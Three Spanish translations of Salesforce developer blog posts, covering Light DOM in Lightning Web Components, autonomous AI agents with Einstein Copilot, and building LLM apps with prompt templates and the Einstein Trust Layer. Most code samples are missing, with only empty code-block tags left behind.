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Desmitificando Light DOM y sus casos de uso ☁️

Desmitificando Light DOM y sus casos de uso ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Desmitificando Light DOM y sus casos de uso | Blog de desarrolladores de Salesforce

Light DOM es una función de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (código abierto) y todas las versiones de la aplicación móvil Salesforce desde Summer '23 .

Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulación y seguridad sólidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una característica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.

¿Cómo funciona el DOM ligero?

Usemos un componente web Lightning muy simple como ejemplo.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Además, no permite que el código JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.

Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitrión en lugar de a su árbol de sombra. Luego puede acceder al marcado desde otros componentes de la página como cualquier otro contenido en el host del documento que no esté protegido por Shadow DOM.

Los componentes DOM ligeros permiten el uso de API de consulta de navegador estándar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .

holaCodey.js

O más simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

«>

holaCodey.js

Cuándo usarlo y cuándo no usarlo

Light DOM es una opción para cada componente individual. Sus efectos no se aplicarán a otros componentes a menos que también opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.

Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador estándar, aplicar estilos globales o necesita más flexibilidad para implementar las mejores prácticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con más profundidad en la siguiente sección.

No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulación de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideración.

Casos de uso habilitados por DOM ligero

Light DOM permite varios casos de uso que anteriormente no eran compatibles.

1) Soporte de bibliotecas que necesitan acceso a las partes internas de un componente

Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de análisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.

Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.

mascotChanger.html

<dx-code-block title language="html" code-block="
«>

mascotChanger.js

Tenga en cuenta que, aunque el párrafo consultado pertenece al componente helloCodey , podemos acceder a él con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habría devuelto null .

También puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso estático en la página, siempre y cuando todos los componentes ancestros estén habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso estático de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.

myJSResource.js

2) Implementación más sencilla de componentes profundamente anidados

Otro ejemplo en el que esto puede resultar útil es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un único componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.

Esta implementación facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarquía y también la implementación de la accesibilidad. Además, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.

3) Estilo global

Light DOM también facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la página. La inyección de estilos globales a través de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.

Por ejemplo, definamos un componente colorChanger de la siguiente manera.

colorChanger.html

<dx-code-block title language="html" code-block="
«>

colorChanger.js

colorChanger.css

El color de fondo azul se aplicará a los párrafos de todas las instancias del componente helloCodey en la página, ya que está habilitado para DOM claro.

En la mayoría de los casos, no querrás que tu estilo se filtre a otros componentes. Eso todavía es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance está escrito exactamente igual que el CSS normal, pero solo se aplicará a ese componente sin filtrarse.

Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos estáticos en una página de Lightning Experience o un sitio de Experience Cloud, se les quitará el alcance y se aplicarán tanto a los componentes DOM claros como también a los componentes DOM de sombra, ya que la sombra sintética no evitará que se filtren. Esta es una limitación que se solucionará una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa está habilitada, solo los componentes habilitados para DOM claro heredarán los estilos globales.

4) Implementación más flexible de las mejores prácticas de accesibilidad

Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores prácticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.

mascotChanger.html

<dx-code-block title language="html" code-block="

«>

mascotChanger.js

mascotaNombreInput.html

<dx-code-block title language="html" code-block="

«>

mascotaNombreEtiqueta.html

<dx-code-block title language="html" code-block="

«>

Tenga en cuenta que Salesforce está trabajando actualmente con el W3C para agregar nuevos estándares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no será necesario. Como parte de nuestros esfuerzos de accesibilidad, también patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber más sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .

La siguiente tabla resume los casos de uso y dónde se admiten.

Experiencia en la nube Experiencia relámpago Aplicaciones móviles de Salesforce LWC OSS/LWR en Node.js*
Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes. Sí Sí Sí Sí
Implementación más sencilla de componentes profundamente anidados Sí Sí Sí Sí
Estilo global Sí No No Sí
Implementación más flexible de las mejores prácticas de accesibilidad Sí Sí Sí Sí

*Si se utiliza DOM de sombra nativo en lugar de sombra sintética . La sombra nativa es la opción predeterminada para LWC OSS y LWR en Node.js.

Otras Consideraciones

Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:

  • Los eventos no se reorientan con DOM ligero. Lea más en la guía para desarrolladores .
  • No hay soporte de navegador para espacios fuera del DOM oculto, por lo que se emula. Esto implica que algunas funciones, como los enlaces de ciclo de vida, no están disponibles en ellos. Eche un vistazo a la documentación para saber más.
  • Por ahora, los componentes ligeros habilitados para DOM no se pueden empaquetar.

Conclusión

En esta publicación de blog, revisamos qué es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qué componentes habilitarán la función. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar tú mismo.

Para obtener más información sobre DOM ligero en la plataforma Salesforce, lea la documentación o, si está trabajando fuera de la plataforma, lea la documentación OSS .

Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migración.

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

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Introducción a los agentes autónomos ☁️

Introducción a los agentes autónomos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Introducción a los agentes autónomos | Blog de desarrolladores de Salesforce

El panorama de la IA está cambiando a un ritmo tan rápido que las tecnologías futuristas como la IA autónoma ya están mucho más cerca de lo que piensas. Esto se debe a la forma en que los grandes modelos de lenguaje (LLM) están comenzando a incorporarse en casi todas las formas en que interactúa con las aplicaciones. Para los desarrolladores, esto supone un cambio en la forma en que abordamos la creación de aplicaciones, desde las formas en que las reunimos hasta la creación con una UX conversacional completamente nueva.

En esta publicación de blog, veremos cómo los agentes autónomos incorporan la IA a la forma en que funcionan las aplicaciones y, al mismo tiempo, nos acercan a un mundo autónomo.

¿Qué son los agentes autónomos?

En nuestro panorama tecnológico, los agentes son sistemas avanzados que aprovechan el poder de los modelos lingüísticos para razonar y tomar decisiones. Lo que los diferencia de otro bot o marco es el hecho de que los agentes pueden realizar tareas en su nombre utilizando herramientas y memoria.

Las herramientas son extensiones de las capacidades de un modelo de lenguaje, que cierran brechas en su conocimiento y le permiten interactuar con fuentes de datos externas o recursos computacionales. Con estas herramientas, un modelo de lenguaje puede obtener datos en tiempo real, ejecutar tareas y utilizar los resultados para informar sus acciones posteriores. Por ejemplo, si un modelo de lenguaje conoce información solo hasta una fecha determinada, las herramientas pueden proporcionarle información más actualizada de la web, bases de datos u otras fuentes externas.

La memoria proporciona a los agentes la capacidad de recordar interacciones pasadas, lo que puede ser esencial para la continuidad de las tareas y el aprendizaje de acciones anteriores. Esta memoria puede ser de corta duración, centrándose en interacciones recientes, o de largo plazo, recordando eventos o patrones pasados importantes que son relevantes para situaciones actuales.

Juntos, estos elementos transforman un modelo de lenguaje en un agente que no sólo puede comprender y generar texto, sino también actuar sobre esa comprensión en contextos del mundo real. Dichos agentes pueden ejecutar soluciones de forma autónoma para los usuarios, pero también pueden integrar la intervención humana, especialmente en escenarios donde existen incertidumbres o excepciones.

¿Cómo funcionan los agentes?

Se han creado muchos marcos para respaldar el avance de los agentes, siendo algunos de los más populares AutoGPT y LangChain . Generalmente, los agentes siguen un patrón similar: el marco ReAct para razonar y actuar en modelos lingüísticos .

Este marco consta de una serie de pasos:

  1. El usuario proporciona información.
  2. El agente “piensa” en la respuesta adecuada
  3. El agente determina la acción, selecciona la herramienta relevante y decide la entrada para esa herramienta.
  4. La herramienta ofrece un resultado.
  5. El proceso recorre los pasos 2 a 4 hasta que el agente determina que la tarea está completa

Este proceso es el que empieza a hacer autónomo al agente. Al confiar en el LLM para pensar en la respuesta y determinar las acciones apropiadas necesarias, actúa por sí solo para crear el resultado deseado.

Usando LangChain como ejemplo, digamos que queremos crear una aplicación que permita a un cliente gestionar sus pedidos. Primero, podríamos darle a la aplicación acceso a nuestra base de datos de pedidos, base de datos de clientes y API de socios de envío. Luego, configuraríamos una serie de herramientas a las que puede acceder la aplicación para consultar datos, actualizarlos y utilizar IA generativa para redactar una respuesta.

Este agente de gestión de pedidos dispone de seis herramientas que puede utilizar “dentro de su dominio de conocimiento”:

  1. Query Orders es una herramienta que puede consultar pedidos desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  2. Update Order es una herramienta que puede actualizar un único pedido desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  3. Manage Tracking Info es una herramienta que puede gestionar un envío a través de una API proporcionada por una empresa de envío
  4. Get Customer es una herramienta que puede consultar datos de clientes desde una API conectada a un sistema CRM
  5. Update Customer es una herramienta que puede actualizar los datos de los clientes a través de una API conectada a un sistema CRM
  6. Compose Response es una herramienta que puede pasar indicaciones a un LLM y devolver una respuesta.

Veamos ahora cómo un agente podría manejar casos de uso relacionados con la gestión de pedidos. Por ejemplo, ¿cómo puede el agente ayudar a un usuario a obtener una actualización sobre el estado de su pedido?

  1. El usuario solicita la información más reciente de su pedido a través de un chatbot
  2. El agente “piensa” y determina la acción correcta que debe tomar
    1. El agente primero utiliza la herramienta Consultar cliente para consultar los detalles del cliente.
    2. Luego, el agente utiliza la herramienta Consultar pedidos para consultar pedidos desde una base de datos.
    3. Luego, el agente utiliza la herramienta Administrar información de seguimiento para obtener la información de envío más reciente de su socio de envío.
    4. Luego, el agente toma ambos resultados y utiliza la herramienta Redactar respuesta para generar una respuesta.
  3. La respuesta se devuelve al usuario.

En este escenario, el agente pudo tomar las herramientas que le proporcionamos y determinar el pedido y los parámetros que necesitan para crear el resultado correcto para el usuario, en este caso, toda su información de pedido y envío. Lo que es importante tener en cuenta aquí es que el usuario puede hacerle al agente cualquier pregunta sobre su pedido y el agente puede usar IA para razonar y usar las herramientas en el orden que necesite.

Como desarrollador, su función se centra más en crear las herramientas y permitir que el agente administre la orquestación.

Mantener a un humano informado

El desafío ético con los agentes autónomos es que no hay ningún ser humano involucrado cuando se trata de ejecutar las acciones. En Salesforce, estamos comprometidos con el uso ético de la IA y queremos dejarlo claro en nuestras implementaciones de este tipo de tecnología. Ciertas reglas exigen que una persona sea responsable de tomar la decisión final en asuntos con consecuencias legales o de impacto comparable, incluida la contratación laboral, la aprobación de préstamos, las admisiones educativas y las sugerencias en justicia penal. Esta insistencia en la supervisión humana, en lugar de decisiones automatizadas, tiene como objetivo identificar y reducir mejor los posibles sesgos y daños.

¿Qué significa esto para el futuro de Salesforce?

En Dreamforce este año, les dimos una idea de cómo será el futuro de Salesforce y la IA autónoma en la plataforma Einstein 1. Einstein Copilot es nuestra respuesta a un asistente conversacional de IA generativa basado en agentes que utiliza habilidades y acciones para guiar a los usuarios a través de la interacción con Salesforce. Esto introduce un paradigma de desarrollo completamente nuevo para Salesforce, uno en el que estamos creando piezas de funcionalidad más pequeñas que pueden ser orquestadas por Einstein Copilot.

¿Cómo se compara Einstein Copilot con un agente de IA?

Si bien existen varias similitudes entre Copilot y un marco de agente de código abierto, la verdadera diferencia es el acceso de Copilot a toda la plataforma de metadatos de Salesforce. No sólo eso, sino que el alcance es mucho mayor. En lugar de agentes individuales, tienes muchas habilidades , y en lugar de herramientas tienes acciones .

Por ejemplo, si desea actualizar un pedido utilizando Copilot, deberá crear una habilidad de gestión de pedidos. Con otros marcos, necesitarías crear un agente completo para la gestión de pedidos.

Cuando se trata de acciones, usted tiene el poder de la Plataforma Einstein 1 detrás de usted. Podrá utilizar Apex, Flow, las numerosas API de plataforma, SOQL y mucho más para brindarle a su habilidad la capacidad de reunir datos desde cualquier lugar. También tiene acceso directo a los datos de toda la plataforma.

Estudio Einstein Copiloto

Estas habilidades y acciones se reúnen en Einstein Copilot Studio , que le permite ensamblar flujos, indicaciones, Apex y más en colecciones de funcionalidades.

Actualmente existen tres herramientas dentro de Einstein Copilot Studio:

  • Prompt Builder le permite crear plantillas de mensajes utilizando campos de combinación de registros y datos proporcionados por Flow y Data Cloud.
  • Skills Builder le permite ensamblar acciones, como métodos invocables de Apex, flujos y llamadas de API de MuleSoft, y otorgárselas a un agente.
  • Model Builder le permite traer sus propios modelos de IA a Salesforce

Juntos, podrán crear agentes potentes en Salesforce que puedan usar su código para responder preguntas y ayudar a los usuarios.

La capa de confianza de Einstein

Una gran ventaja de Einstein Copilot es Einstein Trust Layer. Trust Layer proporciona un entorno seguro para el procesamiento de datos a través de un modelo de lenguaje grande, lo que garantiza que los datos del usuario permanezcan confidenciales al enmascarar información de identificación personal, verificar la salida en busca de contenido inapropiado y garantizar que no haya persistencia de datos fuera de Salesforce.

Trust Layer se ejecuta a través de un proceso de varios pasos para garantizar que los datos estén fundamentados y enmascarados antes de ser procesados por un proveedor de LLM externo, y proporciona una puerta de enlace segura para interactuar con dichos LLM. Una vez que se ha generado una respuesta, la verifica en busca de contenido tóxico y desenmascara los datos antes de presentárselos al usuario. Puede ver más de cerca la capa de confianza en nuestra publicación de blog Dentro de la capa de confianza de Einstein .

Resumen

La IA autónoma se hace realidad mucho más cerca a través de agentes, lo que marca el comienzo de una nueva era de tecnología en la que el razonamiento y la toma de decisiones se potencian con herramientas y memoria. Einstein Copilot de Salesforce introduce este enfoque impulsado por agentes en la plataforma, ofreciendo un asistente de IA conversacional que guía a los usuarios, aprovecha los vastos metadatos de Salesforce y garantiza la integridad de los datos a través de Einstein Trust Layer. Este cambio transformador significa no sólo una evolución en las interacciones de IA, sino también una promesa de experiencias seguras, eficientes y fluidas para los usuarios de Salesforce.

Sobre el Autor

Stephan Chandler-García es el director de contenido estratégico de Salesforce. Ha estado en el ecosistema de Salesforce durante más de 10 años como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, sígalo en X (Twitter) o GitHub .

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Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

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Creación de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.

¿Cómo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de código abierto
  3. Utilice modelos existentes a través de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho más pequeño, el modelo GPT-3 de OpenAI tardó 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, también necesitará un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensión entre la forma en que aprenden los LLM y la forma en que se implementan las políticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. ¡Cuantos más datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las políticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio mínimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo específico. ¡Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposición de todos en su empresa puede no ser una buena idea y violar las políticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de código abierto

Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a través de API

Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.

En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.

Creación de aplicaciones impulsadas por IA utilizando modelos existentes a través de API

Llamada API básica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, así es como se vería la llamada API usando la API OpenAI:

Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electrónico de presentación para el director ejecutivo de Acme.

El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha información de conexión a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Está pasando información confidencial al proveedor del modelo donde potencialmente podría persistir o usarse para entrenar aún más el modelo, lo que significa que sus datos privados podrían aparecer en la respuesta generada por el modelo de otra persona.

Construcción rápida y puesta a tierra dinámica.

Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:

  1. Llame a un servicio para obtener información sobre el usuario.
  2. Llame a un servicio para obtener información sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la información obtenida de los servicios de datos anteriores.

Así es como podrían verse estos pasos de construcción rápidos en Apex:

El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.

Plantillas de aviso

Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.

Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}
{{/oportunidades}}

Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.

Estudio rápido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • ¿Qué pasa con los problemas de cumplimiento y privacidad si pasa datos de información de identificación personal (PII) en el mensaje? ¿El proveedor del modelo podría conservar los datos de PII o incluso utilizarlos para entrenar aún más el modelo?
  • ¿Cómo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • ¿Cómo se rastrea y registra los pasos de creación de mensajes con fines de auditoría?

Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

Así es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger aún más sus datos, Salesforce tiene acuerdos de retención cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistirán ni entrenarán más sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detección de toxicidad y el registro de seguimiento de auditoría. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detección de toxicidad comprueba si hay contenido dañino u ofensivo en el resultado. El registro de seguimiento de auditoría registra todo el proceso con fines de auditoría.

De cara al futuro: creación de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?

Encadenamiento rápido

La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se envía al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestación de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.

La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

